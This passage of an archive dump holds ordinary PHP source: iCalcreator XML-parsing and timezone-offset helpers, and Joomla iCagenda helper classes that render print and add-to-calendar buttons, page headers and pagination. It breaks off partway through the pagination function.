      $iCal->setProperty( $propName, $value['latitude'], $value['longitude'], $params );
    elseif( 'REQUEST-STATUS' == $propName ) {
      if( !isset( $value['data'] ))
        $value['data'] = FALSE;
      $iCal->setProperty( $propName, $value['code'], $value['description'], $value['data'], $params );
    }
    else {
      if( empty( $value ) && ( is_array( $value ) || ( '0' > $value )))
        $value = '';
      $iCal->setProperty( $propName, $value, $params );
    }
    $xml        = substr( $xml, $endIx);
  } // end while( ! empty( $xml ))
}
/**
 * fetch a specific XML tag content
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.22 - 2013-06-20
 * @param string $xml
 * @param string $tagName
 * @param int $endIx
 * @return mixed
 */
function XMLgetTagContent1( $xml, $tagName, & $endIx=0 ) {
  $strlen    = strlen( $tagName );
  $sx1       = 0;
  while( FALSE !== substr( $xml, $sx1, 1 )) {
    if(( FALSE !== substr( $xml, ( $sx1 + $strlen + 1 ), 1 )) &&
       ( strtolower( "<$tagName>" )   == strtolower( substr( $xml, $sx1, ( $strlen + 2 )))))
      break;
    if(( FALSE !== substr( $xml, ( $sx1 + $strlen + 3 ), 1 )) &&
       ( strtolower( "<$tagName />" ) == strtolower( substr( $xml, $sx1, ( $strlen + 4 ))))) { // empty tag
      $endIx = $strlen + 5;
      return '';
    }
    if(( FALSE !== substr( $xml, ( $sx1 + $strlen + 2 ), 1 )) &&
       ( strtolower( "<$tagName/>" )  == strtolower( substr( $xml, $sx1, ( $strlen + 3 ))))) { // empty tag
      $endIx = $strlen + 4;
      return '';
    }
    $sx1    += 1;
  }
  if( FALSE === substr( $xml, $sx1, 1 )) {
    $endIx   = ( empty( $sx )) ? 0 : $sx - 1;
    return '';
  }
  if( FALSE === ( $pos = stripos( $xml, "</$tagName>" ))) { // missing end tag??
    $endIx   = strlen( $xml ) + 1;
    return '';
  }
  $endIx     = $pos + $strlen + 3;
  return substr( $xml, ( $sx1 + $strlen + 2 ), ( $pos - $sx1 - 2 - $strlen ));
}
/**
 * fetch next (unknown) XML tagname AND content
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.22 - 2013-06-20
 * @param string $xml
 * @param string $tagName
 * @param int $endIx
 * @return mixed
 */
function XMLgetTagContent2( $xml, & $tagName, & $endIx ) {
  $endIx       = strlen( $xml ) + 1; // just in case.. .
  $sx1         = 0;
  while( FALSE !== substr( $xml, $sx1, 1 )) {
    if( '<' == substr( $xml, $sx1, 1 )) {
      if(( FALSE !== substr( $xml, ( $sx1 + 3 ), 1 )) && ( '<!--' == substr( $xml, $sx1, 4 ))) // skip comment
        $sx1  += 1;
      else
        break; // tagname start here
    }
    else
      $sx1    += 1;
  }
  $sx2         = $sx1;
  while( FALSE !== substr( $xml, $sx2 )) {
    if(( FALSE !== substr( $xml, ( $sx2 + 1 ), 1 )) && ( '/>' == substr( $xml, $sx2, 2 ))) { // empty tag
      $tagName = trim( substr( $xml, ( $sx1 + 1 ), ( $sx2 - $sx1 - 1 )));
      $endIx   = $sx2 + 2;
      return '';
    }
    if( '>' == substr( $xml, $sx2, 1 )) // tagname ends here
      break;
    $sx2      += 1;
  }
  $tagName     = substr( $xml, ( $sx1 + 1 ), ( $sx2 - $sx1 - 1 ));
  $endIx       = $sx2 + 1;
  if( FALSE === substr( $xml, $sx2, 1 )) {
    return '';
  }
  $strlen      = strlen( $tagName );
  if(( 'duration' == $tagName ) &&
     ( FALSE !== ( $pos1 = stripos( $xml, "<duration>",  $sx1+1  ))) &&
     ( FALSE !== ( $pos2 = stripos( $xml, "</duration>", $pos1+1 ))) &&
     ( FALSE !== ( $pos3 = stripos( $xml, "</duration>", $pos2+1 ))) &&
     ( $pos1 < $pos2 ) && ( $pos2 < $pos3 ))
    $pos = $pos3;
  elseif( FALSE === ( $pos = stripos( $xml, "</$tagName>", $sx2 )))
    return '';
  $endIx       = $pos + $strlen + 3;
  return substr( $xml, ( $sx1 + $strlen + 2 ), ( $pos - $strlen - 2 ));
}
/*********************************************************************************/
/*          Additional functions to use with vtimezone components                */
/*********************************************************************************/
/**
 * For use with
 * iCalcreator (kigkonsult.se/iCalcreator/index.php)
 * copyright (c) 2011 Yitzchok Lavi
 * icalcreator@onebigsystem.com
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */
/**
 * Additional functions to use with vtimezone components
 *
 * Before calling the functions, set time zone 'GMT' ('date_default_timezone_set')!
 *
 * @author Yitzchok Lavi <icalcreator@onebigsystem.com>
 *         adjusted for iCalcreator Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @version 1.0.2 - 2011-02-24
 *
 */
/**
 * Returns array with the offset information from UTC for a (UTC) datetime/timestamp in the
 * timezone, according to the VTIMEZONE information in the input array.
 *
 * $param array  $timezonesarray, output from function getTimezonesAsDateArrays (below)
 * $param string $tzid,           time zone identifier
 * $param mixed  $timestamp,      timestamp or a UTC datetime (in array format)
 * @return array, time zone data with keys for 'offsetHis', 'offsetSec' and 'tzname'
 *
 */
function getTzOffsetForDate($timezonesarray, $tzid, $timestamp) {
    if( is_array( $timestamp )) {
//$disp = sprintf( '%04d%02d%02d %02d%02d%02d', $timestamp['year'], $timestamp['month'], $timestamp['day'], $timestamp['hour'], $timestamp['min'], $timestamp['sec'] ); // test ###
      $timestamp = gmmktime(
            $timestamp['hour'],
            $timestamp['min'],
            $timestamp['sec'],
            $timestamp['month'],
            $timestamp['day'],
            $timestamp['year']
            ) ;
    }
    $tzoffset = array();
    // something to return if all goes wrong (such as if $tzid doesn't find us an array of dates)
    $tzoffset['offsetHis'] = '+0000';
    $tzoffset['offsetSec'] = 0;
    $tzoffset['tzname']    = '?';
    if( !isset( $timezonesarray[$tzid] ))
      return $tzoffset;
    $tzdatearray = $timezonesarray[$tzid];
    if ( is_array($tzdatearray) ) {
        sort($tzdatearray); // just in case
        if ( $timestamp < $tzdatearray[0]['timestamp'] ) {
            // our date is before the first change
            $tzoffset['offsetHis'] = $tzdatearray[0]['tzbefore']['offsetHis'] ;
            $tzoffset['offsetSec'] = $tzdatearray[0]['tzbefore']['offsetSec'] ;
            $tzoffset['tzname']    = $tzdatearray[0]['tzbefore']['offsetHis'] ; // we don't know the tzname in this case
        } elseif ( $timestamp >= $tzdatearray[count($tzdatearray)-1]['timestamp'] ) {
            // our date is after the last change (we do this so our scan can stop at the last record but one)
            $tzoffset['offsetHis'] = $tzdatearray[count($tzdatearray)-1]['tzafter']['offsetHis'] ;
            $tzoffset['offsetSec'] = $tzdatearray[count($tzdatearray)-1]['tzafter']['offsetSec'] ;
            $tzoffset['tzname']    = $tzdatearray[count($tzdatearray)-1]['tzafter']['tzname'] ;
        } else {
            // our date somewhere in between
            // loop through the list of dates and stop at the one where the timestamp is before our date and the next one is after it
            // we don't include the last date in our loop as there isn't one after it to check
            for ( $i = 0 ; $i <= count($tzdatearray)-2 ; $i++ ) {
                if(( $timestamp >= $tzdatearray[$i]['timestamp'] ) && ( $timestamp < $tzdatearray[$i+1]['timestamp'] )) {
                    $tzoffset['offsetHis'] = $tzdatearray[$i]['tzafter']['offsetHis'] ;
                    $tzoffset['offsetSec'] = $tzdatearray[$i]['tzafter']['offsetSec'] ;
                    $tzoffset['tzname']    = $tzdatearray[$i]['tzafter']['tzname'] ;
                    break;
                }
            }
        }
    }
    return $tzoffset;
}
/**
 * Returns an array containing all the timezone data in the vcalendar object
 *
 * @param object $vcalendar, iCalcreator calendar instance
 * @return array, time zone transition timestamp, array before(offsetHis, offsetSec), array after(offsetHis, offsetSec, tzname)
 *                based on the timezone data in the vcalendar object
 *
 */
function getTimezonesAsDateArrays($vcalendar) {
    $timezonedata = array();
    while( $vtz = $vcalendar->getComponent( 'vtimezone' )) {
        $tzid       = $vtz->getProperty('tzid');
        $alltzdates = array();
        while ( $vtzc = $vtz->getComponent( 'standard' )) {
            $newtzdates = expandTimezoneDates($vtzc);
            $alltzdates = array_merge($alltzdates, $newtzdates);
        }
        while ( $vtzc = $vtz->getComponent( 'daylight' )) {
            $newtzdates = expandTimezoneDates($vtzc);
            $alltzdates = array_merge($alltzdates, $newtzdates);
        }
        sort($alltzdates);
        $timezonedata[$tzid] = $alltzdates;
    }
    return $timezonedata;
}
/**
 * Returns an array containing time zone data from vtimezone standard/daylight instances
 *
 * @param object $vtzc, an iCalcreator calendar standard/daylight instance
 * @return array, time zone data; array before(offsetHis, offsetSec), array after(offsetHis, offsetSec, tzname)
 *
 */
function expandTimezoneDates($vtzc) {
    $tzdates = array();
    // prepare time zone "description" to attach to each change
    $tzbefore = array();
    $tzbefore['offsetHis']  = $vtzc->getProperty('tzoffsetfrom') ;
    $tzbefore['offsetSec'] = iCalUtilityFunctions::_tz2offset($tzbefore['offsetHis']);
    if(( '-' != substr( (string) $tzbefore['offsetSec'], 0, 1 )) && ( '+' != substr( (string) $tzbefore['offsetSec'], 0, 1 )))
      $tzbefore['offsetSec'] = '+'.$tzbefore['offsetSec'];
    $tzafter = array();
    $tzafter['offsetHis']   = $vtzc->getProperty('tzoffsetto') ;
    $tzafter['offsetSec']  = iCalUtilityFunctions::_tz2offset($tzafter['offsetHis']);
    if(( '-' != substr( (string) $tzafter['offsetSec'], 0, 1 )) && ( '+' != substr( (string) $tzafter['offsetSec'], 0, 1 )))
      $tzafter['offsetSec'] = '+'.$tzafter['offsetSec'];
    if( FALSE === ( $tzafter['tzname'] = $vtzc->getProperty('tzname')))
      $tzafter['tzname'] = $tzafter['offsetHis'];
    // find out where to start from
    $dtstart = $vtzc->getProperty('dtstart');
    $dtstarttimestamp = mktime(
            $dtstart['hour'],
            $dtstart['min'],
            $dtstart['sec'],
            $dtstart['month'],
            $dtstart['day'],
            $dtstart['year']
            ) ;
    if( !isset( $dtstart['unparsedtext'] )) // ??
      $dtstart['unparsedtext'] = sprintf( '%04d%02d%02dT%02d%02d%02d', $dtstart['year'], $dtstart['month'], $dtstart['day'], $dtstart['hour'], $dtstart['min'], $dtstart['sec'] );
    if ( $dtstarttimestamp == 0 ) {
        // it seems that the dtstart string may not have parsed correctly
        // let's set a timestamp starting from 1902, using the time part of the original string
        // so that the time will change at the right time of day
        // at worst we'll get midnight again
        $origdtstartsplit = explode('T',$dtstart['unparsedtext']) ;
        $dtstarttimestamp = strtotime("19020101",0);
        $dtstarttimestamp = strtotime($origdtstartsplit[1],$dtstarttimestamp);
    }
    // the date (in dtstart and opt RDATE/RRULE) is ALWAYS LOCAL (not utc!!), adjust from 'utc' to 'local' timestamp
    $diff  = -1 * $tzbefore['offsetSec'];
    $dtstarttimestamp += $diff;
                // add this (start) change to the array of changes
    $tzdates[] = array(
        'timestamp' => $dtstarttimestamp,
        'tzbefore'  => $tzbefore,
        'tzafter'   => $tzafter
        );
    $datearray = getdate($dtstarttimestamp);
    // save original array to use time parts, because strtotime (used below) apparently loses the time
    $changetime = $datearray ;
    // generate dates according to an RRULE line
    $rrule = $vtzc->getProperty('rrule') ;
    if ( is_array($rrule) ) {
        if ( $rrule['FREQ'] == 'YEARLY' ) {
            // calculate transition dates starting from DTSTART
            $offsetchangetimestamp = $dtstarttimestamp;
            // calculate transition dates until 10 years in the future
            $stoptimestamp = strtotime("+10 year",time());
            // if UNTIL is set, calculate until then (however far ahead)
            if ( isset( $rrule['UNTIL'] ) && ( $rrule['UNTIL'] != '' )) {
                $stoptimestamp = mktime(
                    $rrule['UNTIL']['hour'],
                    $rrule['UNTIL']['min'],
                    $rrule['UNTIL']['sec'],
                    $rrule['UNTIL']['month'],
                    $rrule['UNTIL']['day'],
                    $rrule['UNTIL']['year']
                    ) ;
            }
            $count = 0 ;
            $stopcount = isset( $rrule['COUNT'] ) ? $rrule['COUNT'] : 0 ;
            $daynames = array(
                        'SU' => 'Sunday',
                        'MO' => 'Monday',
                        'TU' => 'Tuesday',
                        'WE' => 'Wednesday',
                        'TH' => 'Thursday',
                        'FR' => 'Friday',
                        'SA' => 'Saturday'
                        );
            // repeat so long as we're between DTSTART and UNTIL, or we haven't prepared COUNT dates
            while ( $offsetchangetimestamp < $stoptimestamp && ( $stopcount == 0 || $count < $stopcount ) ) {
                // break up the timestamp into its parts
                $datearray = getdate($offsetchangetimestamp);
                if ( isset( $rrule['BYMONTH'] ) && ( $rrule['BYMONTH'] != 0 )) {
                    // set the month
                    $datearray['mon'] = $rrule['BYMONTH'] ;
                }
                if ( isset( $rrule['BYMONTHDAY'] ) && ( $rrule['BYMONTHDAY'] != 0 )) {
                    // set specific day of month
                    $datearray['mday']  = $rrule['BYMONTHDAY'];
                } elseif ( is_array($rrule['BYDAY']) ) {
                    // find the Xth WKDAY in the month
                    // the starting point for this process is the first of the month set above
                    $datearray['mday'] = 1 ;
                    // turn $datearray as it is now back into a timestamp
                    $offsetchangetimestamp = mktime(
                        $datearray['hours'],
                        $datearray['minutes'],
                        $datearray['seconds'],
                        $datearray['mon'],
                        $datearray['mday'],
                        $datearray['year']
                            );
                    if ($rrule['BYDAY'][0] > 0) {
                        // to find Xth WKDAY in month, we find last WKDAY in month before
                        // we do that by finding first WKDAY in this month and going back one week
                        // then we add X weeks (below)
                        $offsetchangetimestamp = strtotime($daynames[$rrule['BYDAY']['DAY']],$offsetchangetimestamp);
                        $offsetchangetimestamp = strtotime("-1 week",$offsetchangetimestamp);
                    } else {
                        // to find Xth WKDAY before the end of the month, we find the first WKDAY in the following month
                        // we do that by going forward one month and going to WKDAY there
                        // then we subtract X weeks (below)
                        $offsetchangetimestamp = strtotime("+1 month",$offsetchangetimestamp);
                        $offsetchangetimestamp = strtotime($daynames[$rrule['BYDAY']['DAY']],$offsetchangetimestamp);
                    }
                    // now move forward or back the appropriate number of weeks, into the month we want
                    $offsetchangetimestamp = strtotime($rrule['BYDAY'][0] . " week",$offsetchangetimestamp);
                    $datearray = getdate($offsetchangetimestamp);
                }
                // convert the date parts back into a timestamp, setting the time parts according to the
                // original time data which we stored
                $offsetchangetimestamp = mktime(
                    $changetime['hours'],
                    $changetime['minutes'],
                    $changetime['seconds'] + $diff,
                    $datearray['mon'],
                    $datearray['mday'],
                    $datearray['year']
                        );
                // add this change to the array of changes
                $tzdates[] = array(
                    'timestamp' => $offsetchangetimestamp,
                    'tzbefore'  => $tzbefore,
                    'tzafter'   => $tzafter
                    );
                // update counters (timestamp and count)
                $offsetchangetimestamp = strtotime("+" . (( isset( $rrule['INTERVAL'] ) && ( $rrule['INTERVAL'] != 0 )) ? $rrule['INTERVAL'] : 1 ) . " year",$offsetchangetimestamp);
                $count += 1 ;
            }
        }
    }
    // generate dates according to RDATE lines
    while ($rdates = $vtzc->getProperty('rdate')) {
        if ( is_array($rdates) ) {

            foreach ( $rdates as $rdate ) {
                // convert the explicit change date to a timestamp
                $offsetchangetimestamp = mktime(
                        $rdate['hour'],
                        $rdate['min'],
                        $rdate['sec'] + $diff,
                        $rdate['month'],
                        $rdate['day'],
                        $rdate['year']
                        ) ;
                // add this change to the array of changes
                $tzdates[] = array(
                    'timestamp' => $offsetchangetimestamp,
                    'tzbefore'  => $tzbefore,
                    'tzafter'   => $tzafter
                    );
            }
        }
    }
    return $tzdates;
}
?>
com_icagenda/helpers/iCicons.class.php000060400000014253152453734450014020 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.1 2014-12-24
 * @since       3.2.9
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();


class iCicons
{
	// --------------------------------------------------------------------------------
	// Buttons and Icons
	// --------------------------------------------------------------------------------

	/**
	 * Shows the button corresponding to the action.
	 *
	 * @param $type of action
	 * @param $link to be handled
	 * @return $html string
	 */
	public static function showIcon($type, $link = '', $vcal = '', $gcal = '', $wcal = '', $ycal = '')
	{
		// loading Global Options
		$iC_global = JComponentHelper::getParams('com_icagenda');

		// Component Options
		$iconAddToCal_options = $iC_global->get('iconAddToCal_options', '');
		$iconAddToCal_size = $iC_global->get('iconAddToCal_size', '16');

		$html = array();

		switch ( strtolower($type) )
		{
			case 'printpreview':

				$html[]= '<a class="iCtip" href="' . $link . '" onclick="window.open(this.href,\'win2\',\'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no\'); return false;" title="' . JText::_('JGLOBAL_PRINT') . '" rel="nofollow">';

				// Joomla 3.x / 2.5 SWITCH
				if (version_compare(JVERSION, '3.0', 'ge'))
				{
					$html[]= '<span class="iCicon iCicon-print"></span>';
				}
				else
				{
					$html[]= JHtml::_('image', 'system/printButton.png', JText::_('JGLOBAL_PRINT'), null, true);
				}

				$html[]= '</a>';

				break;

			case 'print':

				$html[]= '<a href="#" onclick="window.print();return false;" title="' . JText::_('JGLOBAL_PRINT') . '" rel="nofollow">';

				// Joomla 3.x / 2.5 SWITCH
				if (version_compare(JVERSION, '3.0', 'ge'))
				{
					$html[]= '<span class="iCicon iCicon-print"></span>&#160;' . JText::_('JGLOBAL_PRINT') . '&#160;';
				}
				else
				{
					$html[]= JHtml::_('image', 'system/printButton.png', JText::_('JGLOBAL_PRINT'), null, true).'&#160;' . JText::_('JGLOBAL_PRINT') . '&#160;';
				}

				$html[]= '</a>';

				break;

			case 'vcal':

				if (is_array($iconAddToCal_options))
				{
					$addtocal = '';
					$addtocal.= '<div class="ic-tip-title">' . JText::_('COM_ICAGENDA_ADD_TO_CALL_LABEL') . '</div>';

					// Google Calendar - link
					if (in_array('1', $iconAddToCal_options))
					{
						$addtocal.= '<div class="ic-tip-link">';
						$addtocal.= '<a href="' . $gcal . '" class="ic-title-cal-tip" rel="nofollow" target="_blank">';
						$addtocal.= JHtml::_('image', 'media/com_icagenda/images/cal/google_cal-'.$iconAddToCal_size.'.png', JText::_('COM_ICAGENDA_GCALENDAR_LABEL'), array());
						$addtocal.= '&#160;' . JText::_('COM_ICAGENDA_GCALENDAR_LABEL') . '&#160;';
						$addtocal.= '</a>';
						$addtocal.= '</div>';
					}

					// iCal Calendar - ics
					if (in_array('2', $iconAddToCal_options))
					{
						$addtocal.= '<div class="ic-tip-link">';
						$addtocal.= '<a href="' . $vcal . '" class="ic-title-cal-tip" rel="nofollow" target="_blank">';
						$addtocal.= JHtml::_('image', 'media/com_icagenda/images/cal/apple_ical-'.$iconAddToCal_size.'.png', JText::_('COM_ICAGENDA_VCAL_ICAL_LABEL'), array());
						$addtocal.= '&#160;' . JText::_('COM_ICAGENDA_VCAL_ICAL_LABEL') . '&#160;';
						$addtocal.= '</a>';
						$addtocal.= '</div>';
					}

					// Outlook Calendar - ics
					if (in_array('3', $iconAddToCal_options))
					{
						$addtocal.= '<div class="ic-tip-link">';
						$addtocal.= '<a href="' . $vcal . '" class="ic-title-cal-tip" rel="nofollow" target="_blank">';
						$addtocal.= JHtml::_('image', 'media/com_icagenda/images/cal/outlook_cal-'.$iconAddToCal_size.'.png', JText::_('COM_ICAGENDA_OUTLOOK_LABEL'), array());
						$addtocal.= '&#160;' . JText::_('COM_ICAGENDA_OUTLOOK_LABEL') . '&#160;';
						$addtocal.= '</a>';
						$addtocal.= '</div>';
					}

					// Windows Live Calendar - link
					if (in_array('4', $iconAddToCal_options))
					{
						$addtocal.= '<div class="ic-tip-link">';
						$addtocal.= '<a href="' . $wcal . '" class="ic-title-cal-tip" rel="nofollow" target="_blank">';
						$addtocal.= JHtml::_('image', 'media/com_icagenda/images/cal/windows-live_cal-'.$iconAddToCal_size.'.png', JText::_('COM_ICAGENDA_LIVE_CALENDAR_LABEL'), array());
						$addtocal.= '&#160;' . JText::_('COM_ICAGENDA_LIVE_CALENDAR_LABEL') . '&#160;';
						$addtocal.= '</a>';
						$addtocal.= '</div>';
					}

					// Yahoo Calendar - link
					if (in_array('5', $iconAddToCal_options))
					{
						$addtocal.= '<div class="ic-tip-link">';
						$addtocal.= '<a href="' . $ycal . '" class="ic-title-cal-tip" rel="nofollow" target="_blank">';
						$addtocal.= JHtml::_('image', 'media/com_icagenda/images/cal/yahoo_cal-'.$iconAddToCal_size.'.png', JText::_('COM_ICAGENDA_YAHOO_CALENDAR_LABEL'), array());
						$addtocal.= '&#160;' . JText::_('COM_ICAGENDA_YAHOO_CALENDAR_LABEL') . '&#160;';
						$addtocal.= '</a>';
						$addtocal.= '</div>';
					}

					$return_atc = htmlspecialchars($addtocal);

					$html[]= '<a class="ic-addtocal" href="#" title="'.$return_atc.'" rel="nofollow">';

					// Joomla 3.x / 2.5 SWITCH
					if(version_compare(JVERSION, '3.0', 'ge'))
					{
						$html[]= '<span class="iCicon iCicon-calendar"></span>';
					}
					else
					{
						$html[]= JHtml::_('image', 'system/calendar.png', JText::_('COM_ICAGENDA_ADD_TO_CALL_LABEL'), null, true);
					}

					$html[]= '</a>';

					break;
				}

			default:
		}

		return implode("\n", $html);
	}

	/**
	 * Removes variable from URL
	 * @param $url to change
	 * @param $varname to remove from string
	 */
	public static function removeqsvar($url, $varname)
	{
		return preg_replace('/([?&])'.$varname.'=[^&]+(&|$)/','$1',$url);
	}
}
com_icagenda/helpers/ichelper.php000060400000040015152453734450013113 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.11 2015-09-02
 * @since       3.2.8
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modelitem');
jimport( 'joomla.html.parameter' );
jimport( 'joomla.registry.registry' );

jimport('joomla.user.helper');
jimport('joomla.access.access');

class iCModeliChelper extends JModelItem
{
	// SubTitle Events list
//	public static function iCheader($total, $getpage, $arrowtext, $number_per_page, $pagination)
	public static function iCheader($total, $arrowtext, $number_per_page, $pagination)
	{
		// loading iCagenda PARAMS
		$app		= JFactory::getApplication();
		$jinput		= $app->input;

		$getpage	= $jinput->get('page', '1');

		$iCparams	= $app->getParams();

		$time		= $iCparams->get('time', '1');
		$headerList	= $iCparams->get('headerList', 1);

		if ($time == '0')
		{
			// COM_ICAGENDA_ALL
			$header_title	= JText::_( 'COM_ICAGENDA_HEADER_ALL_TITLE' );
			$header_many	= JText::sprintf( 'COM_ICAGENDA_HEADER_ALL_MANY_EVENTS', $total );
			$header_one		= JText::sprintf( 'COM_ICAGENDA_HEADER_ALL_ONE_EVENT', $total );
			$header_noevt	= JText::_( 'COM_ICAGENDA_HEADER_ALL_NO_EVENT' );
		}
		elseif ($time == '1')
		{
			// COM_ICAGENDA_OPTION_TODAY_AND_UPCOMING
			$header_title	= JText::_( 'COM_ICAGENDA_HEADER_TODAY_AND_UPCOMING_TITLE' );
			$header_many	= JText::sprintf( 'COM_ICAGENDA_HEADER_TODAY_AND_UPCOMING_MANY_EVENTS', $total );
			$header_one		= JText::sprintf( 'COM_ICAGENDA_HEADER_TODAY_AND_UPCOMING_ONE_EVENT', $total );
			$header_noevt	= JText::_( 'COM_ICAGENDA_HEADER_TODAY_AND_UPCOMING_NO_EVENT' );
		}
		elseif ($time == '2')
		{
			// COM_ICAGENDA_OPTION_PAST
			$header_title	= JText::_( 'COM_ICAGENDA_HEADER_PAST_TITLE' );
			$header_many	= JText::sprintf( 'COM_ICAGENDA_HEADER_PAST_MANY_EVENTS', $total );
			$header_one		= JText::sprintf( 'COM_ICAGENDA_HEADER_PAST_ONE_EVENT', $total );
			$header_noevt	= JText::_( 'COM_ICAGENDA_HEADER_PAST_NO_EVENT' );
		}
		elseif ($time == '3')
		{
			// COM_ICAGENDA_OPTION_FUTURE
			$header_title	= JText::_( 'COM_ICAGENDA_HEADER_UPCOMING_TITLE' );
			$header_many	= JText::sprintf( 'COM_ICAGENDA_HEADER_UPCOMING_MANY_EVENTS', $total );
			$header_one		= JText::sprintf( 'COM_ICAGENDA_HEADER_UPCOMING_ONE_EVENT', $total );
			$header_noevt	= JText::_( 'COM_ICAGENDA_HEADER_UPCOMING_NO_EVENT' );
		}
		elseif ($time == '4')
		{
			// COM_ICAGENDA_OPTION_TODAY
			$header_title	= JText::_( 'COM_ICAGENDA_HEADER_TODAY_TITLE' );
			$header_many	= JText::sprintf( 'COM_ICAGENDA_HEADER_TODAY_MANY_EVENTS', $total );
			$header_one		= JText::sprintf( 'COM_ICAGENDA_HEADER_TODAY_ONE_EVENT', $total );
			$header_noevt	= JText::_( 'COM_ICAGENDA_HEADER_TODAY_NO_EVENT' );
		}

		$report = $report2 = '';

		if ($total == 1)
		{
			$report.= '<span class="ic-subtitle-string">' . $header_one . '</span>';
		}
		if ($total == 0)
		{
			$report.= '<span class="ic-subtitle-string">' . $header_noevt . '</span>';
		}
		if ($total > 1)
		{
			$report.= '<span class="ic-subtitle-string">' . $header_many . '</span>';
		}

		$num = $number_per_page;

		// No display if number does not exist
		$pages = ($num == NULL) ? 1 : ceil($total/$num);

		$page_nb = $getpage;

		if (JRequest::getVar('page') == NULL)
		{
			$page_nb = 1;
		}

		$report2.= ($pages <= 1)
					? ''
					: ' <span class="ic-subtitle-pages"> - ' . JText::_( 'COM_ICAGENDA_EVENTS_PAGE' ) . ' '
						. $page_nb . ' / ' . $pages . '</span>';

		// Tag for header title depending of show_page_heading setting
		$menuItem	= $app->getMenu()->getActive();

    	if (is_object($menuItem)
    		&& $menuItem->params->get('show_page_heading', 1))
    	{
			$tag = 'h2';
		}
		else
		{
			$tag = 'h1';
		}

		// Display Header title/subtitle (options)
		if ($headerList == 1)
		{
			$header = '<div class="ic-header-container">';
			$header.= '<' . $tag . ' class="ic-header-title">' . $header_title . '</' . $tag . '>';
			$header.= '<div class="ic-header-subtitle">' . $report . ' ' . $report2 . '</div>';
		}
		elseif ($headerList == 2)
		{
			$header = '<div class="ic-header-container">';
			$header.= '<' . $tag . ' class="ic-header-title">' . $header_title . '</' . $tag . '>';
		}
		elseif ($headerList == 3)
		{
			$header = '<div class="ic-header-container">';
			$header.= '<div class="ic-header-subtitle">' . $report . ' ' . $report2 . '</div>';
		}
		elseif ($headerList == 4)
		{
			$header = '<div>';
		}

		$header.='</div>';
		$header.= '<br/>';

		return $header;
	}

	// Navigator Events list
//	public static function pagination($count_items, $getpage, $arrowtext, $number_per_page, $pagination)
	public static function pagination($count_items, $arrowtext, $number_per_page, $pagination)
	{
		$app	= JFactory::getApplication();
		$jinput	= $app->input;

		$getpage = $jinput->get('page', 1);

		// If number of pages < or = 1, no display of pagination
		if (($count_items / $number_per_page) <= 1)
		{
			$nav = '';
		}
		else
		{
			// first check whether there are elements of those selected
			$ctrlNext = ($count_items > $number_per_page) ? 1 : NULL;
			$ctrlBack = ($getpage && $getpage > 1) ? 1 : NULL;

			$num = $number_per_page;

			// No display if number not exist
			$pages = ($num == NULL) ? 1 : ceil($count_items / $number_per_page);

			$nav = '<div class="navigator">';

			// in the case of text next/prev
			$textnext = ($arrowtext == 1) ? JText::_( 'JNEXT' ) : '';
			$textback = ($arrowtext == 1) ? JText::_( 'JPREV' ) : '';

			$parentnav = JRequest::getInt('Itemid');

			$mainframe = JFactory::getApplication();
			$isSef = $mainframe->getCfg( 'sef' );

			if ($isSef == '1')
			{
				$urlpage = JRoute::_(JURI::current().'?');
			}
			elseif ($isSef == '0')
			{
				$urlpage = 'index.php?option=com_icagenda&amp;view=list&amp;Itemid='.(int)$parentnav.'&amp;';
			}

			if ($pages >= 2)
			{
				if ($ctrlBack != NULL)
				{
					if ($getpage && $getpage < $pages)
					{
						$pageBack	= $getpage-1;
						$pageNext	= $getpage+1;

						$nav.= '<a class="icagenda_back iCtip" href="' . JRoute::_($urlpage . 'page=' . $pageBack) . '" title="' . $textback . '"><span class="iCicon iCicon-backic"></span> ' . $textback . '&nbsp;</a>';
						$nav.= '<a class="icagenda_next iCtip" href="' . JRoute::_($urlpage . 'page=' . $pageNext) . '" title="' . $textnext . '">&nbsp;' . $textnext . ' <span class="iCicon iCicon-nextic"></span></a>';

//						$nav.= '<div class="icagenda_back"><button class="iCtip" onclick="prevNav(); return false;" title="' . JText::_( 'JPREV' ) . '"><a href="#"><span class="iCicon iCicon-backic"></span> ' . $pageBack . $textback . '&nbsp;</a></button></div>';

//						$nav.= '<div class="icagenda_next"><button class="iCtip" onclick="nextNav(); return false;" title="' . JText::_( 'JNEXT' ) . '"><a href="#">&nbsp;' . $textnext . $pageNext . ' <span class="iCicon iCicon-nextic"></span></a></button></div>';
					}
					else
					{
						$pageBack	= $getpage-1;

						$nav.= '<a class="icagenda_back iCtip" href="' . JRoute::_($urlpage . 'page=' . $pageBack) . '" title="' . $textback . '"><span class="iCicon iCicon-backic"></span> ' . $textback . '&nbsp;</a>';

